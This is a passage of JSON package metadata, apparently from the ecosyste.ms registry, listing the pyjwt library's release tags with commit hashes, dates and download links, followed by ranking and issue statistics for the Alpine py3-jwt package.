dilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:31.854Z","dependent_packages_count":2,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":7.614654365556893,"stargazers_count":2.3131434683781253,"forks_count":2.2797165396443377,"average":3.051878593394839},"purl":"pkg:apk/alpine/py3-jwt?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.14","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-jwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-jwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-jwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count"